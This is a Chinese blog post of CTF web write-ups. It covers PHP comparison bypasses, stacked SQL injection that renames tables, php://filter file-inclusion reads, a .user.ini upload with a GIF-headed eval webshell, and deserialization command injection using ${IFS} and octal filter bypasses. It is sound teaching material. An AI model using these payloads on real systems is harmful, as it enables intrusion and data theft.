好久没有做过web了,偶然翻到之前写的题解,本人菜鸡一个😭
1_PHP2
描述
打开只有一个显示,“Can you anthenticate to this website?”,检查源代码也没有其他显示。

知识点
-
phps文件就是php的源代码文件,通常用于提供给用户(访问者)直接通过Web浏览器查看php代码的内容。因为用户无法直接通过Web浏览器“看到”php文件的内容,所以需要用phps文件代替。
- 浏览器在将请求传回服务端时会对url解码一次后传回。
思路
首先访问index.php,回显没有变化。试着访问源码phps文件index.phps,发现源码

源码分析:当输入url中输入id=admin时,echo“not allowed!”,不是想要的结果。
我们发现浏览器会对url解码一次,然后urldecode再对url解码一次,相当于对url解码了两次,所以我们再url后跟的应该有url编码两次后的字符,查表,将字符a写为%25%36%31,浏览器解码一次后变为%61,再经过urlencode解码一次后为a,通过检验。

2_EasyPHP
描述
直接进入,发现php代码。
1 |
|
知识点
PHP substr函数:substr(string,start,length)
start:规定何处开始,可以是负数,表明在从字符串结尾的指定位置开始,-2表示从倒数第二个开始。
==PHP 中字符串与数值比较的陷阱==:
- 当两个字符比较时,就是比较他们的ASCII码
- 两个字符串进行比较时,是从第一位开始比较其ASCII码,只要有一位出现了 差异,就返回比较结果。
- 当字符串与数字比较时,首先系统尝试将此字符串/字符转换为整型/浮点型,然后进行比较,如**’12bsd’转型为12,‘a’转型为0,千万需要注意的是此时不是将其对应的ASCII码值与数字进行大小比较了。其实同样的道理,’a’+10结果也是10。并且容易忽略的:0 与任意不可转化为数字的字符串比较(操作符为双等时。即松散比较), 均返回 true。**
思路
直接看到代码尾部有一个Hgfks.php,试着直接访问,发现不行,又访问Hgfks.phps,也不行,好吧,阅读前面的代码。首先从地址栏读取了a,b两个参数,第一个函数是if判断是检验a,b的值是否符合要求,首先对a,有个intval函数,将任意类型转为int型,然后这个值要大于6000000,且a的长度不超过3个字符。那么可以用9e9这种方式传入。再看b,是要b的MD5码的最后6位等于给定输入,尝试用bp爆破,也可以写python脚本碰撞。得到53724为b的值。

继续阅读代码,发现有c作为值,试着绕过c,首先有一个json_decode(@$_GET[‘c’]),说明要c是post,json格式的数据,提交形式c={},首先有一个m,m>2022&&m不是数字,那么我们想到PHP中的松散比较,m不是数字,那么必然是字符串,字符串于数值比较时,如果包含数字,则尝试先转为只保留数字,如果不包含数字,则转为0,所以我们这里会有c={“m”:20222a},m已经通过,向下走,发现c中还有一个变量n,首先n是一个数组,然后count()=2,说明其有两个元素。
那么修改c的形式c={“m”:”20222a”,”n”:[]},可以发现出现了no hack字样,说明我们已经绕过了m的验证,然后
1 | is_array($c["n"][0]) |
说明n的第一个元素要为数组,
1 | $d = array_search("DGGJ", $c["n"]); |
这里是说明n中要包含DGGJ,又不能包含DGGJ,很神奇,这里要解决的话,我们应该想到PHP中比较常见的比较陷阱,array_search的本质是将需要查找的字符串与数组内的元素进行比较,所以我们写0的话是不是就可以绕过这个查询了呢(0在比较中的特殊性),我们可以这样写了c={“m”:”22222a”,”m”:[[0,1],0]},然后try一下,答案来了。

3_SuperSQLi
描述
进入环境后出现一个查询框,如下图

题目已经告诉了这是一道sql注入题,所以直接使用sql注入解题。
知识点
==堆叠注入==:Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句。因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。但是堆叠查询并不是每个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
一般的拼接形式为:
1
2
3=1';show .....
=1';drop .....
=1';rename ...SQL的一些表相关的DDL语句知识:
show tables; #打印当前所有表1
2
3
- ```sql
show columns from `tablename`;#展示指定表的所有字段alter table `ss` rename to `S`;-- 修改表名1
2
3
- ```sql
alter table `S` change flag id varchar(100); -- 修改表中字段名和字段类型
思路
首先,使用常用的SQL注入测试,注入’or 1=1,出现了新的回显,就是输入不同的id返回的值,并且只有1,2,114514有不同的返回值,但好像暂时并没有什么用。

然后使用union联查,**’union select * from supersqli;当然是测试题目名构成的表啦,说不定就中了呢。**当然这里没中,回显表明后端进行了一定的过滤。像select、update都被ban掉了,但是show没有被ban掉,可以尝试打印。

我们show一下databases,发现出现了回显,显示了当前DBMS中管理的数据库

发现了supersqli,合理推测这是题目使用的数据库,我们继续查看一下包含的表,show tables

发现当前使用的有两张表,1919810931114514和words,show columns from打印两张表的字段看看。
words表里的内容如下图,包含id和data,非常有可能是题目查询使用的表,因为我们输入的是id的值,返回给我们data的内容
使用的注入语句是
1 | ';show columns from `word` |

1919810931114514表里的内容,包含flag,这应该就是我们需要的东西了,问题现在转到了如何让题目查询1919…这张表。
使用的注入语句是
1 | 1';show columns from `1919810931114514`; |

我们这里采用修改表名的方式修改查询对象,
1’;alter table words rename to word;
没有报错,我们再次查询一下发现,已经找不到原来的表了,也验证了前面猜测这是题目所用的那张表。

**==但是这里出现了一个问题,当我们像修改另一张表的名字时,同样也会报错,为什么呢,因为现在已经找不到words表了,id字段不能被注入了,所以我们应该同时修改两张表,而且同时要修改新的words表的flag字段为id==**,也就是这样写:
1 | 1';alter table `words` rename to `word`;alter table `1919810931114514` rename to `words`;alter table words change flag id varchar(100); |
那么我们再用
1 | 1'or 1=1; |
即可得到答案。

4_CTF_fileinclude_1
描述
进入环境直接一段PHP代码,且是文件上传相关,先去学习一下PHP文件上传相关知识。
1 | WRONG WAY! |
知识点
**==PHP伪协议==**:参考文章https://segmentfault.com/a/1190000018991087#item-2
php://协议,访问各个IO流,CTF中常用php://filter(用于读取源码)和php://input(执行php代码)
php://filer,(>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式
(all-in-one)的文件函数非常有用,类似readfile()、file()和file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。- resource参数:传入要过滤的数据流
- read参数:可选,可以设定多个过滤器名称
- write参数:可选,可以设定多个过滤器名称
- 一个样例:test=php://filter/read=convert.base64-encode/resource=info.php
php://input,假如我们post了一个data,则使用input可以读取这个data,所以在url请求头中可以使用input进行传参。同时,可以post一段php代码,让input去执行
1
..../?id=1&&name=php://input
PHP include/require函数:如果 include/require 出现于调用文件中的一个函数里,则被调用的文件中所包含的所有代码将表现得如同它们是在该函数内部定义的一样。所以它将遵循该函数的变量范围。此规则的一个例外是魔术常量,它们是在发生包含之前就已被解析器处理的。include在所包含文件找不到时会继续执行之后的代码,而require会报错。
Base64编码流程:base64常以=号结尾
- 1.将所有字符转为8位二进制的ASCII码
- 2.将8位二进制3个归为一组,共计24位,再拆分为4组,每组6位(
) - 3.将获得的6位二进制转为10进制
- 4.从Base64编码表获取对应的编码

对于不足6位的补零(图中浅红色的4位),索引为“A”;对于最后不足3字节,进行补零处理(图中红色部分),以“=”替代,因此,“ABCD”的base64编码为:“QUJDRA==”。

思路
代码有一句include(“flag.php”),引入了一个文件,我们合理地猜测flag是包含在flag.php中的,所以我们先访问一下flag.php,发现只打印了一句,并没有flag,说明flag可能在文件的注释里。然后有两个参数,说明我们需要在url中传入file1和file2两个参数。

于是我们合理地想到可以使用文件过滤,将flag.php中地源码提取出来,原因是在第二层的if语句中有
include($file1);,于是我们的url中file1可以这样编写:file1=php://filter/read=convert.base64-encode/resource=flag.php;然后考虑file2,我们先使用hackbar尝试一下
1 | http://61.147.171.105:56963/?file1=php://filter/read=convert.base64-encode/resource=flag.php&&file2=hello ctf |
发现报错,因为有个file_get_contents函数,file2输入得是个文件才行,但是现在我们没有其他的文件可以输入。

在hackbar里提交如下url,且在post中提交hello ctf,这里hackbar提交不了,选择使用BP提交,先在hackbar里execute,然后再BP里抓包。
1 | http://61.147.171.105:56963/?file1=php://filter/read=convert.base64-encode/resource=flag.php&&file2=php://input |
如下,注意修改content-length

得到一个base64编码,然后去解码即可

5_file_include 江苏工匠杯(?字符编码问题未懂)
描述
进入环境,看到一段PHP代码
1 |
|
知识点
- PHP——iconv函数
- 一些常见的字符编码
思路
很明显的是文件包含问题,读代码我们可以发现是要在url中输入一个filename变量。
首先尝试了一下伪协议,filename=php://filter/read=convert.base64-encode/resource=check.php
结果出现了,但是只有一句话。resource改成其他都是相同的回显。说明很可能被过滤,但具体过滤了哪些东西还不清楚

可以使用convert.iconv.,进行过滤,可以使用convert.iconv.utf8.utf16/resource=check.php
6_fileinclude 宜兴网信办

文件包含题。
知识点
cookie:
BP中cookie的写法
1
cookie: language=flag
思路
首先检查下网页源代码,发现出现了index.php的源码。如下:
1 | <html> |
发现是要我们传入一个cookie,其name为language,题目告诉我们答案在flag.php里,那么我们就去那里看看。

设置一下cookie,加上过滤,所以我们这样写
language=php://filter/read=convert.base64-encode/resource=flag
发现直接给出了一段base64编码后的字符串,去转换一下,得出答案。
7_easy_upload_CTF
描述
进入环境,就是一个文件上传的提交

检查一下网页源码:
1 |
|
知识点
**==.htaccess文件==**:
.htaccess由于它以点或点开头,因此通常称为“点文件”。 点文件几乎总是某种形式的配置文件。 点文件可以用于操作系统或软件。 默认情况下,操作系统会将点文件隐藏在查找程序窗口或任何类型的系统文件管理器中。 通常,您必须从操作系统的首选项中选择“显示隐藏的文件”选项。 或者您可以使用ls -a命令以在命令行上显示所有文件。 全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
.htaccess的配置文件只能在Apache服务器中起作用
==.user.ini==:php.ini是php的全局配置文件,对整个web服务起作用,.user.ini和.htaccess都是目录的配置文件,.user.ini是用户自定义的php.ini,通常构造后门和隐藏后门。
<?php =eval($_REQUEST["xxx"] )?>:_REQUEST包含了 _GET、 GET、_POST、$_COOKIE的所有内容,是它们的集合体。也就内是说只要用其中一种方容式做一个表单,把cmd这个变量给POST或者GET,甚至用cookies就可以把传输上去的内容执行。简而言之吧,就是执行cmd的值。蚁剑的工作原理:首先你需要发现服务端的一句话木马,每次连接的密码其实就是一句话木马的名字,蚁剑会帮你执行各种代码以获取完整的服务器目录。
**==利用.user.ini的条件==**:
**服务器脚本语言为PHP **
**服务器使用CGI **
**FastCGI模式 **
上传目录下要有可执行的php文件
**==图片头文件GIF89a==**:
一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年发行)进行格式化之后的图形。在GIF89a之前还有87a版(1987年发行),但在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片。
关于在Content-Type中multipart/form-data的解析:
boundary是表示分隔,用于分隔多个文件。格式是:–后面跟着一串随机数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNolPbAiXBmFZAw6W
Connection: close
//提交为文件
------WebKitFormBoundaryNolPbAiXBmFZAw6W
Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"
Content-Type: application/octet-stream
//这里的content-type是文件类型,浏览器自己判断
GIF89a
auto_prepend_file=b.jpg
------WebKitFormBoundaryNolPbAiXBmFZAw6W
Content-Disposition: form-data; name="upload"
æäº¤
------WebKitFormBoundaryNolPbAiXBmFZAw6W--
//提交为表单字段
------WebKitFormBoundaryxHKqg3ljAsuAFWBO
Content-Disposition: form-data; name="note"
字段内容
------WebKitFormBoundaryxHKqg3ljAsuAFWBO
思路
首先试一下能不能访问index.phps,flag.php,好吧,都没用。题目的意思一个是想让我们上传一张图片。我们先上传其他的类型的文件试试:
上传.txt文件回显:your filetype looks wicked(你的文件是恶意的),说明大部分的文件格式被过滤
上传图片文件回显:file upload successful, the path is: uploads/2051259.jpg
可以知道文件上传后是存放在uploads/文件夹里
我们需要明确一点,文件上传的解题是需要我们上传可执行文件,从而控制服务端
所以我们这里使用.user.ini配置文件来让index.php文件包含一个webshell,所以我们先创建一个包含shell语句的图片马b.txt
内容如下:之后修改文件后缀为.gif,直接上传即可,因为图片文件未被过滤
1 | GIF89a |

之后想办法上传.user.ini文件,但会被过滤,所以我们使用BP抓包,修改上传文件的类型application/octet-stream为image/gif,
创建一个.user.ini文件,其内容如下:auto_prepend_file是指当前目录下的任意php文件都要包含=之后的文件
1 | GIF89a |

上传成功,未被过滤

下面我们使用蚁剑连接服务器:
首先查看地址,是要在/uploads目录下

连接成功,可能会连接不上,多上传几次

在根目录下发现flag

答案:cyberpeace{9f37b587e6875ce35380526dba1120c6}
8_unseping 江苏工匠杯(过滤的绕过)
描述
进去就是一段php代码
1 |
|
知识点
PHP序列化和反序列化:
序列化(串行化):是将变量转换为可保存或传输的字符串的过程;
反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用。
这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。
常见的php序列化和反序列化方式主要有:serialize,unserialize;json_encode,json_decode。
反序列化中常见的魔术函数:
1
2
3
4
5
6
7
8
9__construct() 当一个对象创建时被调用,反序列化不触发
__destruct() 当一个对象销毁时被调用
__toString() 当一个对象被当作一个字符串使用,比如echo输出或用 . 和字符串拼接
__call() 当调用的方法不存在时触发
__invoke() 当一个对象被当作函数调用时触发
__wakeup() 反序列化时自动调用
__sleep() 执行serialize()时,先会调用这个函数
__get() 类中的属性私有或不存在触发
__set() 类中的属性私有或不存在触发PHP函数:
- call_user_func_array:把第一个参数作为回调函数进行调用,第二个参数传入数组,将数组中的值作为回调函数的参数
- exec:用来执行一个外部程序,不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面
- passthru:只调用命令,把命令的运行结果原样地直接输出到标准输出设备上
- system:输出并返回最后一行shell结果
==shell语句被过滤的一些绕过技巧:==
空格被过滤:
1
< 、<>、%09(tab键)、%20、$IFS$9、$IFS$1、${IFS}、$IFS等,还可以用{} 比如 {cat,flag}
敏感字符被过滤:
字符串转为8进制
linux中的**
(shell) ==linux中的
printf函数支持字符串的8进制表示的读入==:使用printf “hello world”
思路
这是一个很明显的反序列化题。首先可以明确的是我们需要传入一个POST变量ctf,其反序列化生成的对象时,会首先调用construct函数构造一个对象,然后调用__wakeup函数,其调用了waf,去检测args里是否有敏感字符cat|flag|tac|php|ls,这里说明args应该是一个数组,先记下。
1 | foreach($this->args as $k => $v) { |
然后代码结束,调用__destruct函数,发现这是在查看上传的method是否在数组ping中,如果有,则调用call_user_func_array,将array($this, $this->method)作为函数,this->args作为函数参数,很显然,我们应该去调用ping函数,里面有exec函数,这个函数可以使用系统命令,我们可以查看当前服务器下的一些东西
1 | function ping($ip){ |
那么上传变量的产生方式应为:在PHP代码里生成序列化,然后base64-encode。
比如我们想要查看index.php同级目录下的文件,
我们可以在PHP中这样写:
1 | $a=new ease('ping',array('ls')); |
注意用POST参数传入
那么我得到回显:array(2) { [0]=> string(12) "flag_1s_here" [1]=> string(9) "index.php" }
说明index.php同级目录下还有一个flag_1s_here文件,没有后缀的话,可能时目录,编写shell,继续执行
1 | $a=new ease('ping',array('l\s${IFS}-l${IFS}fl\ag_1s_here'));//注意flag和空格也被过滤掉,分别用反斜杠和${IFS}绕过 |
回显:array(2) { [0]=> string(7) "total 4" [1]=> string(64) "-rwxr-xr-x 1 root root 53 Nov 9 13:21 flag_831b69012c67b35f.php" }
flag应该就在flag_831b69012c67b35f.php里了
因为/被过滤掉了,所以将字符串转为8进制,正常的字符串应该这样写
1 | $a=new ease('ping',array('$(printf${IFS}"cat /flag_1s_here/flag_831b69012c67b35f.php")')); |
那么转为8进制则为:
1 | $a=new ease('ping',array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")')); |
最后访问即可得到flag:cyberpeace{48a58397b3c434b2436426a5c3479d12}
9_upload1
描述
文件上传题,检查网页源码,如下:
<script type="text/javascript">